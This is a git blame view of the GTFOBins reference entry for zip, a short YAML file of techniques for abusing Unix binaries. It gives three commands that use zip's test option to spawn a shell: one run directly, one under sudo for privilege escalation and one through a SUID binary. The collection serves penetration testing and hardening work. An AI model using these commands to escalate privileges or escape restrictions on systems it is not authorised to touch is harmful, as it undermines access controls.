GTFOBins.github.io/_gtfobins/zip.md

19 lines
373 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-interactive:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
2018-08-17 17:16:09 +02:00
sudo-enabled:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-08-19 11:26:08 +02:00
suid-limited:
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-08-17 17:16:09 +02:00
---